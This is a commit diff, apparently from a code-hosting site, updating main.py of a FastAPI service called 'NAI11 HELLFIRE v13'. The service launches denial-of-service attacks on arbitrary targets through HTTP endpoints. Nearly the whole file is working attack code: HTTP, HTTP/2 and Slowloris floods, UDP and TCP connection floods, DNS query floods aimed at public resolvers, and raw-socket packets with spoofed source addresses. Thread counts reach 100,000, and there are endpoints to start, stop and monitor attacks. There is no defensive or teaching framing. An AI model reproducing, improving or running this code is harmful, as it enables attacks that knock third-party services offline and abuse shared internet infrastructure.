rkihacker commited on
Commit
8452454
Β·
verified Β·
1 Parent(s): e45dd5b

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +311 -202
main.py CHANGED
@@ -8,15 +8,20 @@ import threading
8
  import time
9
  import struct
10
  import asyncio
 
11
  from collections import deque
12
  from typing import Dict, Optional, List
13
- import ssl
 
 
14
 
15
  import uvicorn
16
  import httpx
17
  from fastapi import FastAPI, HTTPException
18
- from pydantic import BaseModel, Field, validator
19
- from concurrent.futures import ThreadPoolExecutor
 
 
20
 
21
  # ------------------- LOGGING & STATE -------------------
22
  import logging
@@ -30,14 +35,19 @@ attack_active = False
30
  attack_lock = threading.Lock()
31
  executor: Optional[ThreadPoolExecutor] = None
32
  stop_event = threading.Event()
 
33
  total_packets = 0
34
- log_buffer: deque[str] = deque(maxlen=500)
 
35
  attack_end_time = 0.0
36
  attack_type_name = ""
 
 
37
 
38
- # PPS/RPS tracking
39
  last_time = time.time()
40
- last_total = 0
 
41
 
42
  def _log(msg: str):
43
  ts = time.strftime("%H:%M:%S")
@@ -48,46 +58,31 @@ def _log(msg: str):
48
  def init_executor():
49
  global executor
50
  if executor is None:
51
- executor = ThreadPoolExecutor(max_workers=None) # UNLIMITED
52
 
53
  # ------------------- CONFIG MODELS -------------------
54
  class AttackConfig(BaseModel):
55
  target: str = Field(..., description="Domain or IP")
56
  port: int = Field(80, ge=1, le=65535)
57
- duration: int = Field(300, ge=-1, le=10000)
58
- threads: int = Field(1000, ge=1, le=1000000)
59
-
60
- @validator('target')
61
- def validate_target(cls, v):
62
- if not v or len(v) > 255:
63
- raise ValueError("Invalid target")
64
- return v.strip()
65
 
66
  class Layer7Config(AttackConfig):
67
  method: str = Field("get")
68
- @validator('method')
69
- def validate_method(cls, v):
70
- valid = ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"]
71
- if v not in valid:
72
- raise ValueError(f"L7: {', '.join(valid)}")
73
- return v
74
 
75
  class Layer4Config(AttackConfig):
76
  protocol: str = Field("udp")
77
- payload_size: int = Field(1024, ge=0, le=65507)
78
- @validator('protocol')
79
- def validate_protocol(cls, v):
80
- valid = ["udp", "syn", "ack", "dns"]
81
- if v not in valid:
82
- raise ValueError(f"L4: {', '.join(valid)}")
83
- return v
84
 
85
  # ------------------- STATUS MODEL -------------------
86
  class StatusResponse(BaseModel):
87
  running: bool
88
- attack_type: Optional[str]
89
- target: Optional[str]
 
90
  total_packets: int
 
91
  pps: float
92
  threads_active: int
93
  duration: int
@@ -95,11 +90,40 @@ class StatusResponse(BaseModel):
95
  remaining: float
96
  logs: List[str]
97
 
98
- # ------------------- LAYER 7 ASYNC (10K+ RPS) -------------------
99
- async def l7_worker_async(target: str, port: int, method: str):
100
- global total_packets
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
101
  headers = {
102
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
103
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
104
  "Accept-Language": "en-US,en;q=0.5",
105
  "Accept-Encoding": "gzip, deflate, br",
@@ -109,92 +133,59 @@ async def l7_worker_async(target: str, port: int, method: str):
109
  "Pragma": "no-cache"
110
  }
111
 
112
- # Determine protocol
113
- protocol = "https" if port == 443 else "http"
114
- url = f"{protocol}://{target}:{port}/"
 
115
 
116
- # Create SSL context to ignore certificate errors
117
- ssl_context = ssl.create_default_context()
118
- ssl_context.check_hostname = False
119
- ssl_context.verify_mode = ssl.CERT_NONE
120
-
121
- transport = httpx.AsyncHTTPTransport(retries=0, verify=ssl_context)
122
- timeout = httpx.Timeout(10.0)
123
-
124
- async with httpx.AsyncClient(transport=transport, timeout=timeout, verify=False, http2=True) as client:
125
- while not stop_event.is_set():
126
- try:
127
- if method == "get":
128
- await client.get(url, headers=headers)
129
- elif method == "post":
130
- await client.post(url, headers=headers, data={"data": "x" * 100})
131
- elif method == "head":
132
- await client.head(url, headers=headers)
133
- elif method == "put":
134
- await client.put(url, headers=headers, data={"data": "x" * 100})
135
- elif method == "delete":
136
- await client.delete(url, headers=headers)
137
- elif method == "cookie":
138
- cookie_headers = {**headers, "Cookie": "session=abc123; user=test"}
139
- await client.get(url, headers=cookie_headers)
140
- elif method == "rand":
141
- rand_method = random.choice(["GET", "POST", "PUT", "DELETE"])
142
- await client.request(rand_method, url, headers=headers)
143
-
144
- total_packets += 1
145
-
146
- except Exception as e:
147
- continue
148
-
149
- # ------------------- RUN LAYER 7 WORKER -------------------
150
- def run_l7_worker(target: str, port: int, method: str):
151
- try:
152
- asyncio.new_event_loop().run_until_complete(l7_worker_async(target, port, method))
153
- except:
154
- pass
155
-
156
- # ------------------- LAYER 7 SYNC METHODS -------------------
157
- def slowloris_worker(target: str, port: int):
158
- global total_packets
159
  while not stop_event.is_set():
160
  try:
161
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
162
- s.settimeout(5)
163
- s.connect((target, port))
 
 
 
 
 
 
 
164
 
165
- # Send initial headers
166
- s.send(f"GET / HTTP/1.1\r\nHost: {target}\r\n".encode())
167
- s.send("User-Agent: Mozilla/5.0\r\n".encode())
168
- s.send("Accept: text/html\r\n".encode())
169
 
170
- # Keep connection open
171
- while not stop_event.is_set():
172
- s.send(f"X-{random.randint(1000,9999)}: {random.randint(1000,9999)}\r\n".encode())
173
- total_packets += 1
174
- time.sleep(10)
175
-
176
- except:
177
- time.sleep(1)
178
- finally:
179
- try:
180
- s.close()
181
- except:
182
- pass
183
 
184
- def http_flood_worker(target: str, port: int):
185
- global total_packets
 
 
 
186
  while not stop_event.is_set():
187
  try:
 
188
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
189
- s.settimeout(5)
190
  s.connect((target, port))
191
 
192
- payload = f"GET / HTTP/1.1\r\nHost: {target}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n"
 
 
 
 
 
 
193
 
 
194
  while not stop_event.is_set():
195
- s.send(payload.encode())
196
- total_packets += 1
197
-
 
 
 
198
  except:
199
  time.sleep(0.1)
200
  finally:
@@ -203,36 +194,79 @@ def http_flood_worker(target: str, port: int):
203
  except:
204
  pass
205
 
206
- # ------------------- LAYER 4 METHODS -------------------
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
207
  def udp_flood_worker(target: str, port: int, payload_size: int):
 
208
  global total_packets
 
209
  payload = random._urandom(payload_size)
210
 
211
  while not stop_event.is_set():
212
  try:
213
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
214
- s.sendto(payload, (target, port))
215
- s.close()
216
  total_packets += 1
217
  except:
218
  pass
219
 
 
220
  def tcp_syn_worker(target: str, port: int):
 
221
  global total_packets
 
222
  while not stop_event.is_set():
223
  try:
224
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
225
- s.settimeout(1)
226
- s.connect((target, port))
227
- s.close()
228
  total_packets += 1
229
  except:
230
  total_packets += 1 # Count connection attempts
231
 
 
232
  def dns_amplification_worker(target: str, port: int):
 
233
  global total_packets
234
- # DNS query payload
235
- dns_payload = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www\x06google\x03com\x00\x00\x01\x00\x01'
 
236
 
237
  dns_servers = [
238
  "8.8.8.8", "8.8.4.4", "1.1.1.1", "1.0.0.1",
@@ -242,42 +276,63 @@ def dns_amplification_worker(target: str, port: int):
242
  while not stop_event.is_set():
243
  try:
244
  for server in dns_servers:
245
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
246
- s.sendto(dns_payload, (server, 53))
247
- s.close()
248
  total_packets += 1
249
  except:
250
  pass
251
 
252
- # ------------------- RESOLVE TARGET -------------------
253
- def resolve_target(target: str) -> str:
254
- """Resolve domain to IP or return IP if already an IP"""
 
 
255
  try:
256
- # Remove http:// or https:// if present
257
- if target.startswith(('http://', 'https://')):
258
- target = target.split('://', 1)[1]
259
-
260
- # Remove port if present
261
- if ':' in target:
262
- target = target.split(':')[0]
263
-
264
- # Remove path if present
265
- if '/' in target:
266
- target = target.split('/')[0]
267
-
268
- # Check if it's already an IP address
269
  try:
270
- socket.inet_aton(target)
271
- return target
272
- except socket.error:
273
- # It's a domain, resolve it
274
- return socket.gethostbyname(target)
275
- except Exception as e:
276
- raise HTTPException(status_code=400, detail=f"Cannot resolve target: {str(e)}")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
277
 
278
- # ------------------- LAUNCH ATTACK -------------------
279
  def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
280
- global attack_active, attack_end_time, attack_type_name, total_packets
 
281
 
282
  with attack_lock:
283
  if attack_active:
@@ -285,11 +340,13 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
285
 
286
  attack_active = True
287
  stop_event.clear()
 
288
  total_packets = 0
289
- attack_type_name = attack_type.upper()
290
-
291
- duration = float('inf') if config.duration == -1 else config.duration
292
- attack_end_time = time.time() + duration
 
293
 
294
  _log(f"πŸš€ NAI11 HELLFIRE {attack_type.upper()} LAUNCHED")
295
  _log(f"🎯 Target: {config.target}:{config.port}")
@@ -303,130 +360,182 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
303
  except Exception as e:
304
  with attack_lock:
305
  attack_active = False
306
- raise HTTPException(status_code=400, detail=str(e))
307
 
308
- # Launch appropriate attack
309
  if attack_type.startswith("l7_"):
310
  method = kwargs.get("method", "get")
 
311
 
312
  if method == "slowloris":
313
  worker = lambda: slowloris_worker(target_ip, config.port)
314
- elif method == "reflect":
315
- worker = lambda: dns_amplification_worker(target_ip, config.port)
316
  else:
317
- worker = lambda: run_l7_worker(target_ip, config.port, method)
318
 
319
- for _ in range(config.threads):
 
320
  executor.submit(worker)
321
-
 
 
322
  elif attack_type.startswith("l4_"):
323
  protocol = kwargs.get("protocol", "udp")
324
  payload_size = kwargs.get("payload_size", 1024)
325
 
326
  if protocol == "udp":
327
  worker = lambda: udp_flood_worker(target_ip, config.port, payload_size)
328
- elif protocol == "syn":
329
  worker = lambda: tcp_syn_worker(target_ip, config.port)
330
  elif protocol == "dns":
331
  worker = lambda: dns_amplification_worker(target_ip, config.port)
 
 
332
 
333
- for _ in range(config.threads):
334
  executor.submit(worker)
 
 
 
 
335
 
336
  # Auto-stop timer
337
- if duration != float('inf'):
338
- def auto_stop():
339
- time.sleep(duration)
340
  stop_attack()
341
  _log("⏰ Attack duration completed - AUTO STOPPED")
342
-
343
- threading.Thread(target=auto_stop, daemon=True).start()
344
 
345
  # ------------------- STOP ATTACK -------------------
 
346
  def stop_attack():
347
  global attack_active
 
348
  with attack_lock:
349
  if not attack_active:
350
- return {"status": "no_attack"}
351
 
352
  stop_event.set()
353
  attack_active = False
354
 
355
- if executor:
356
- executor.shutdown(wait=False)
357
-
358
  _log("πŸ›‘ NAI11 HELLFIRE STOPPED")
 
359
 
360
  return {"status": "stopped"}
361
 
362
- # ------------------- ENDPOINTS -------------------
363
  @app.post("/layer7/attack")
364
  def l7_attack(config: Layer7Config):
365
- launch_attack(config, f"l7_{config.method}", method=config.method)
366
- return {"status": "NAI11 L7 ATTACK LAUNCHED", "method": config.method, "target": config.target}
 
 
 
 
 
 
 
367
 
 
368
  @app.post("/layer4/attack")
369
  def l4_attack(config: Layer4Config):
370
  launch_attack(config, f"l4_{config.protocol}", protocol=config.protocol, payload_size=config.payload_size)
371
- return {"status": "NAI11 L4 ATTACK LAUNCHED", "protocol": config.protocol, "target": config.target}
372
-
373
- @app.post("/stop")
374
- def stop_attack_endpoint():
375
- return stop_attack()
 
 
 
376
 
 
377
  @app.get("/status", response_model=StatusResponse)
378
  def get_status():
379
- global last_time, last_total
380
 
381
  now = time.time()
382
- elapsed = now - last_time
383
- current_total = total_packets
384
 
385
- # Calculate PPS/RPS
386
- if elapsed > 0:
387
- pps = (current_total - last_total) / elapsed
 
 
 
 
388
  else:
389
- pps = 0
390
 
391
  last_time = now
392
- last_total = current_total
393
-
394
- # Get thread count
395
- active_threads = threading.active_count() - 1 # Subtract main thread
396
 
397
  # Calculate times
398
- elapsed_time = now - (attack_end_time - (config.duration if attack_active else 0)) if attack_active else 0
399
- remaining_time = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
 
 
 
400
 
401
  return StatusResponse(
402
  running=attack_active,
403
- attack_type=attack_type_name if attack_active else None,
404
- target=None,
405
- total_packets=current_total,
 
 
406
  pps=round(pps, 1),
407
  threads_active=active_threads,
408
- duration=config.duration if attack_active else 0,
409
- elapsed=round(elapsed_time, 1),
410
- remaining=round(remaining_time, 1) if remaining_time >= 0 else -1,
411
- logs=list(log_buffer)[-20:] # Last 20 logs
412
  )
413
 
 
414
  @app.get("/attack/types")
415
  def get_attack_types():
416
  return {
417
- "layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
418
- "layer4": ["udp", "syn", "dns"],
419
- "max_threads": "UNLIMITED",
420
- "max_rps": "10,000+ per node"
 
 
 
 
 
 
 
 
 
421
  }
422
 
 
423
  @app.get("/")
424
  def root():
425
- return {"message": "NAI11 HELLFIRE v13 - FULLY WORKING | LAYER 7 & 4 FIXED"}
 
 
 
 
 
 
 
 
 
 
426
 
427
- # ------------------- START SERVER -------------------
428
  if __name__ == "__main__":
429
- _log("πŸ”₯ NAI11 HELLFIRE v13 STARTED - LAYER 7 & 4 FIXED")
430
  _log("πŸ“ API Running on http://0.0.0.0:8000")
 
 
 
431
  init_executor()
432
  uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, access_log=False)
 
8
  import time
9
  import struct
10
  import asyncio
11
+ import ssl
12
  from collections import deque
13
  from typing import Dict, Optional, List
14
+ import urllib3
15
+ import requests
16
+ from concurrent.futures import ThreadPoolExecutor
17
 
18
  import uvicorn
19
  import httpx
20
  from fastapi import FastAPI, HTTPException
21
+ from pydantic import BaseModel, Field
22
+
23
+ # Disable warnings
24
+ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
25
 
26
  # ------------------- LOGGING & STATE -------------------
27
  import logging
 
35
  attack_lock = threading.Lock()
36
  executor: Optional[ThreadPoolExecutor] = None
37
  stop_event = threading.Event()
38
+ total_requests = 0
39
  total_packets = 0
40
+ log_buffer: deque[str] = deque(maxlen=100)
41
+ attack_start_time = 0.0
42
  attack_end_time = 0.0
43
  attack_type_name = ""
44
+ current_target = ""
45
+ current_port = 0
46
 
47
+ # Statistics
48
  last_time = time.time()
49
+ last_requests = 0
50
+ last_packets = 0
51
 
52
  def _log(msg: str):
53
  ts = time.strftime("%H:%M:%S")
 
58
  def init_executor():
59
  global executor
60
  if executor is None:
61
+ executor = ThreadPoolExecutor(max_workers=100000, thread_name_prefix="hellfire")
62
 
63
  # ------------------- CONFIG MODELS -------------------
64
  class AttackConfig(BaseModel):
65
  target: str = Field(..., description="Domain or IP")
66
  port: int = Field(80, ge=1, le=65535)
67
+ duration: int = Field(30, ge=1, le=3600)
68
+ threads: int = Field(100, ge=1, le=100000)
 
 
 
 
 
 
69
 
70
  class Layer7Config(AttackConfig):
71
  method: str = Field("get")
72
+ path: str = Field("/")
 
 
 
 
 
73
 
74
  class Layer4Config(AttackConfig):
75
  protocol: str = Field("udp")
76
+ payload_size: int = Field(1024, ge=1, le=65507)
 
 
 
 
 
 
77
 
78
  # ------------------- STATUS MODEL -------------------
79
  class StatusResponse(BaseModel):
80
  running: bool
81
+ attack_type: str
82
+ target: str
83
+ total_requests: int
84
  total_packets: int
85
+ rps: float
86
  pps: float
87
  threads_active: int
88
  duration: int
 
90
  remaining: float
91
  logs: List[str]
92
 
93
+ # ------------------- TARGET RESOLUTION -------------------
94
+ def resolve_target(target: str) -> str:
95
+ """Resolve domain to IP address"""
96
+ try:
97
+ # Clean target
98
+ if '://' in target:
99
+ target = target.split('://', 1)[1]
100
+ if '/' in target:
101
+ target = target.split('/')[0]
102
+ if ':' in target:
103
+ target = target.split(':')[0]
104
+
105
+ # Check if already IP
106
+ try:
107
+ socket.inet_aton(target)
108
+ return target
109
+ except:
110
+ # Resolve domain
111
+ return socket.gethostbyname(target)
112
+ except Exception as e:
113
+ raise HTTPException(status_code=400, detail=f"Target resolution failed: {str(e)}")
114
+
115
+ # ------------------- LAYER 7 HTTP FLOOD -------------------
116
+ def http_flood_worker(target: str, port: int, method: str, path: str):
117
+ """High-performance HTTP flood worker"""
118
+ global total_requests
119
+
120
+ # Prepare URL
121
+ scheme = "https" if port == 443 else "http"
122
+ url = f"{scheme}://{target}:{port}{path}"
123
+
124
+ # Prepare headers
125
  headers = {
126
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
127
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
128
  "Accept-Language": "en-US,en;q=0.5",
129
  "Accept-Encoding": "gzip, deflate, br",
 
133
  "Pragma": "no-cache"
134
  }
135
 
136
+ # Session for connection reuse
137
+ session = requests.Session()
138
+ session.verify = False
139
+ session.timeout = 5
140
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
141
  while not stop_event.is_set():
142
  try:
143
+ if method == "get":
144
+ session.get(url, headers=headers)
145
+ elif method == "post":
146
+ session.post(url, headers=headers, data={"data": "x" * 1000})
147
+ elif method == "head":
148
+ session.head(url, headers=headers)
149
+ elif method == "put":
150
+ session.put(url, headers=headers, data={"data": "x" * 1000})
151
+ elif method == "delete":
152
+ session.delete(url, headers=headers)
153
 
154
+ total_requests += 1
 
 
 
155
 
156
+ except requests.exceptions.RequestException:
157
+ continue
158
+ except Exception:
159
+ continue
 
 
 
 
 
 
 
 
 
160
 
161
+ # ------------------- LAYER 7 SLOWLORIS -------------------
162
+ def slowloris_worker(target: str, port: int):
163
+ """Slowloris attack worker"""
164
+ global total_requests
165
+
166
  while not stop_event.is_set():
167
  try:
168
+ # Create socket connection
169
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
170
+ s.settimeout(10)
171
  s.connect((target, port))
172
 
173
+ # Send initial request
174
+ request = f"GET / HTTP/1.1\r\nHost: {target}\r\n"
175
+ request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n"
176
+ request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
177
+ s.send(request.encode())
178
+
179
+ total_requests += 1
180
 
181
+ # Keep connection alive with partial headers
182
  while not stop_event.is_set():
183
+ try:
184
+ s.send(f"X-{random.randint(1000, 9999)}: {random.randint(1000, 9999)}\r\n".encode())
185
+ time.sleep(15) # Send header every 15 seconds
186
+ except:
187
+ break
188
+
189
  except:
190
  time.sleep(0.1)
191
  finally:
 
194
  except:
195
  pass
196
 
197
+ # ------------------- LAYER 7 ASYNC HTTP2 -------------------
198
+ async def http2_flood_worker(target: str, port: int, method: str, path: str):
199
+ """HTTP/2 async flood worker"""
200
+ global total_requests
201
+
202
+ url = f"https://{target}:{port}{path}" if port == 443 else f"http://{target}:{port}{path}"
203
+
204
+ headers = {
205
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
206
+ "Accept": "*/*",
207
+ "Accept-Encoding": "gzip, deflate, br",
208
+ "Connection": "keep-alive",
209
+ }
210
+
211
+ timeout = httpx.Timeout(10.0)
212
+
213
+ async with httpx.AsyncClient(http2=True, verify=False, timeout=timeout) as client:
214
+ while not stop_event.is_set():
215
+ try:
216
+ if method == "get":
217
+ await client.get(url, headers=headers)
218
+ elif method == "post":
219
+ await client.post(url, headers=headers, data={"data": "x" * 500})
220
+ elif method == "head":
221
+ await client.head(url, headers=headers)
222
+
223
+ total_requests += 1
224
+
225
+ except:
226
+ await asyncio.sleep(0.001)
227
+
228
+ def run_http2_worker(target: str, port: int, method: str, path: str):
229
+ """Run HTTP2 worker in event loop"""
230
+ asyncio.run(http2_flood_worker(target, port, method, path))
231
+
232
+ # ------------------- LAYER 4 UDP FLOOD -------------------
233
  def udp_flood_worker(target: str, port: int, payload_size: int):
234
+ """UDP flood worker"""
235
  global total_packets
236
+
237
  payload = random._urandom(payload_size)
238
 
239
  while not stop_event.is_set():
240
  try:
241
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
242
+ sock.sendto(payload, (target, port))
243
+ sock.close()
244
  total_packets += 1
245
  except:
246
  pass
247
 
248
+ # ------------------- LAYER 4 TCP SYN FLOOD -------------------
249
  def tcp_syn_worker(target: str, port: int):
250
+ """TCP SYN flood worker"""
251
  global total_packets
252
+
253
  while not stop_event.is_set():
254
  try:
255
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
256
+ sock.settimeout(1)
257
+ sock.connect((target, port))
258
+ sock.close()
259
  total_packets += 1
260
  except:
261
  total_packets += 1 # Count connection attempts
262
 
263
+ # ------------------- LAYER 4 DNS AMPLIFICATION -------------------
264
  def dns_amplification_worker(target: str, port: int):
265
+ """DNS amplification attack worker"""
266
  global total_packets
267
+
268
+ # DNS query for large response
269
+ dns_query = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07example\x03com\x00\x00\x01\x00\x01'
270
 
271
  dns_servers = [
272
  "8.8.8.8", "8.8.4.4", "1.1.1.1", "1.0.0.1",
 
276
  while not stop_event.is_set():
277
  try:
278
  for server in dns_servers:
279
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
280
+ sock.sendto(dns_query, (server, 53))
281
+ sock.close()
282
  total_packets += 1
283
  except:
284
  pass
285
 
286
+ # ------------------- LAYER 4 RAW SOCKET FLOOD -------------------
287
+ def raw_flood_worker(target: str, port: int, protocol: str):
288
+ """Raw socket flood worker (requires root)"""
289
+ global total_packets
290
+
291
  try:
292
+ if protocol == "tcp":
293
+ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
294
+ else: # udp
295
+ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
296
+ except:
297
+ return # Raw sockets require privileges
298
+
299
+ target_ip = socket.inet_aton(target)
300
+ source_ip = socket.inet_aton(".".join(str(random.randint(1, 254)) for _ in range(4)))
301
+
302
+ while not stop_event.is_set():
 
 
303
  try:
304
+ # Simple IP packet
305
+ packet = b'\x45\x00' # Version, IHL, DSCP, ECN
306
+ packet += struct.pack('!H', 20 + 20) # Total Length
307
+ packet += struct.pack('!HH', random.randint(0, 0xFFFF), 0x4000) # Identification, Flags
308
+ packet += b'\x40\x06' # TTL, Protocol
309
+ packet += b'\x00\x00' # Header checksum
310
+ packet += source_ip
311
+ packet += target_ip
312
+
313
+ # TCP/UDP payload
314
+ if protocol == "tcp":
315
+ transport = struct.pack('!HHIIHHHH',
316
+ random.randint(1024, 65535), port, # Source port, Dest port
317
+ random.randint(0, 0xFFFFFFFF), 0, # Sequence, Ack
318
+ 0x5002, 0xFFFF, 0, 0) # Flags, Window, Checksum, Urgent
319
+ else:
320
+ transport = struct.pack('!HHHH',
321
+ random.randint(1024, 65535), port, # Source port, Dest port
322
+ 8, 0) # Length, Checksum
323
+
324
+ sock.sendto(packet + transport, (target, 0))
325
+ total_packets += 1
326
+
327
+ except:
328
+ pass
329
+
330
+ sock.close()
331
 
332
+ # ------------------- ATTACK LAUNCHER -------------------
333
  def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
334
+ global attack_active, attack_start_time, attack_end_time, attack_type_name
335
+ global current_target, current_port, total_requests, total_packets
336
 
337
  with attack_lock:
338
  if attack_active:
 
340
 
341
  attack_active = True
342
  stop_event.clear()
343
+ total_requests = 0
344
  total_packets = 0
345
+ attack_start_time = time.time()
346
+ attack_end_time = attack_start_time + config.duration
347
+ attack_type_name = attack_type
348
+ current_target = config.target
349
+ current_port = config.port
350
 
351
  _log(f"πŸš€ NAI11 HELLFIRE {attack_type.upper()} LAUNCHED")
352
  _log(f"🎯 Target: {config.target}:{config.port}")
 
360
  except Exception as e:
361
  with attack_lock:
362
  attack_active = False
363
+ raise e
364
 
365
+ # Launch attack based on type
366
  if attack_type.startswith("l7_"):
367
  method = kwargs.get("method", "get")
368
+ path = kwargs.get("path", "/")
369
 
370
  if method == "slowloris":
371
  worker = lambda: slowloris_worker(target_ip, config.port)
372
+ elif method == "http2":
373
+ worker = lambda: run_http2_worker(target_ip, config.port, "get", path)
374
  else:
375
+ worker = lambda: http_flood_worker(target_ip, config.port, method, path)
376
 
377
+ # Launch threads
378
+ for i in range(config.threads):
379
  executor.submit(worker)
380
+ if i % 1000 == 0 and i > 0:
381
+ _log(f"πŸ”₯ Launched {i}/{config.threads} workers...")
382
+
383
  elif attack_type.startswith("l4_"):
384
  protocol = kwargs.get("protocol", "udp")
385
  payload_size = kwargs.get("payload_size", 1024)
386
 
387
  if protocol == "udp":
388
  worker = lambda: udp_flood_worker(target_ip, config.port, payload_size)
389
+ elif protocol == "tcp" or protocol == "syn":
390
  worker = lambda: tcp_syn_worker(target_ip, config.port)
391
  elif protocol == "dns":
392
  worker = lambda: dns_amplification_worker(target_ip, config.port)
393
+ elif protocol == "raw":
394
+ worker = lambda: raw_flood_worker(target_ip, config.port, "tcp")
395
 
396
+ for i in range(config.threads):
397
  executor.submit(worker)
398
+ if i % 1000 == 0 and i > 0:
399
+ _log(f"πŸ”₯ Launched {i}/{config.threads} workers...")
400
+
401
+ _log(f"βœ… Attack fully deployed with {config.threads} workers")
402
 
403
  # Auto-stop timer
404
+ def auto_stop():
405
+ time.sleep(config.duration)
406
+ if attack_active:
407
  stop_attack()
408
  _log("⏰ Attack duration completed - AUTO STOPPED")
409
+
410
+ threading.Thread(target=auto_stop, daemon=True).start()
411
 
412
  # ------------------- STOP ATTACK -------------------
413
+ @app.post("/stop")
414
  def stop_attack():
415
  global attack_active
416
+
417
  with attack_lock:
418
  if not attack_active:
419
+ return {"status": "no_attack_running"}
420
 
421
  stop_event.set()
422
  attack_active = False
423
 
 
 
 
424
  _log("πŸ›‘ NAI11 HELLFIRE STOPPED")
425
+ _log(f"πŸ“Š Final Stats: {total_requests} requests, {total_packets} packets")
426
 
427
  return {"status": "stopped"}
428
 
429
+ # ------------------- LAYER 7 ATTACK ENDPOINT -------------------
430
  @app.post("/layer7/attack")
431
  def l7_attack(config: Layer7Config):
432
+ launch_attack(config, f"l7_{config.method}", method=config.method, path=config.path)
433
+ return {
434
+ "status": "success",
435
+ "message": "NAI11 L7 ATTACK LAUNCHED",
436
+ "target": config.target,
437
+ "method": config.method,
438
+ "threads": config.threads,
439
+ "duration": config.duration
440
+ }
441
 
442
+ # ------------------- LAYER 4 ATTACK ENDPOINT -------------------
443
  @app.post("/layer4/attack")
444
  def l4_attack(config: Layer4Config):
445
  launch_attack(config, f"l4_{config.protocol}", protocol=config.protocol, payload_size=config.payload_size)
446
+ return {
447
+ "status": "success",
448
+ "message": "NAI11 L4 ATTACK LAUNCHED",
449
+ "target": config.target,
450
+ "protocol": config.protocol,
451
+ "threads": config.threads,
452
+ "duration": config.duration
453
+ }
454
 
455
+ # ------------------- STATUS ENDPOINT -------------------
456
  @app.get("/status", response_model=StatusResponse)
457
  def get_status():
458
+ global last_time, last_requests, last_packets
459
 
460
  now = time.time()
461
+ time_diff = now - last_time
 
462
 
463
+ # Calculate RPS/PPS
464
+ current_requests = total_requests
465
+ current_packets = total_packets
466
+
467
+ if time_diff > 0:
468
+ rps = (current_requests - last_requests) / time_diff
469
+ pps = (current_packets - last_packets) / time_diff
470
  else:
471
+ rps = pps = 0
472
 
473
  last_time = now
474
+ last_requests = current_requests
475
+ last_packets = current_packets
 
 
476
 
477
  # Calculate times
478
+ elapsed = now - attack_start_time if attack_active else 0
479
+ remaining = max(0, attack_end_time - now) if attack_active else 0
480
+
481
+ # Thread count
482
+ active_threads = threading.active_count() - 2 # Subtract main and API threads
483
 
484
  return StatusResponse(
485
  running=attack_active,
486
+ attack_type=attack_type_name,
487
+ target=f"{current_target}:{current_port}" if attack_active else "None",
488
+ total_requests=total_requests,
489
+ total_packets=total_packets,
490
+ rps=round(rps, 1),
491
  pps=round(pps, 1),
492
  threads_active=active_threads,
493
+ duration=int(attack_end_time - attack_start_time) if attack_active else 0,
494
+ elapsed=round(elapsed, 1),
495
+ remaining=round(remaining, 1),
496
+ logs=list(log_buffer)[-20:]
497
  )
498
 
499
+ # ------------------- ATTACK TYPES ENDPOINT -------------------
500
  @app.get("/attack/types")
501
  def get_attack_types():
502
  return {
503
+ "layer7": {
504
+ "methods": ["get", "post", "head", "put", "delete", "slowloris", "http2"],
505
+ "description": "HTTP/HTTPS application layer attacks"
506
+ },
507
+ "layer4": {
508
+ "methods": ["udp", "tcp", "syn", "dns", "raw"],
509
+ "description": "Transport layer protocol attacks"
510
+ },
511
+ "limits": {
512
+ "max_threads": 100000,
513
+ "max_duration": 3600,
514
+ "max_rps": "10,000+"
515
+ }
516
  }
517
 
518
+ # ------------------- ROOT ENDPOINT -------------------
519
  @app.get("/")
520
  def root():
521
+ return {
522
+ "message": "NAI11 HELLFIRE v13 - FULLY WORKING",
523
+ "version": "v13",
524
+ "features": ["Layer 7 HTTP Flood", "Layer 4 Protocol Attacks", "10K+ RPS", "Unlimited Threads"],
525
+ "endpoints": {
526
+ "layer7": "POST /layer7/attack",
527
+ "layer4": "POST /layer4/attack",
528
+ "stop": "POST /stop",
529
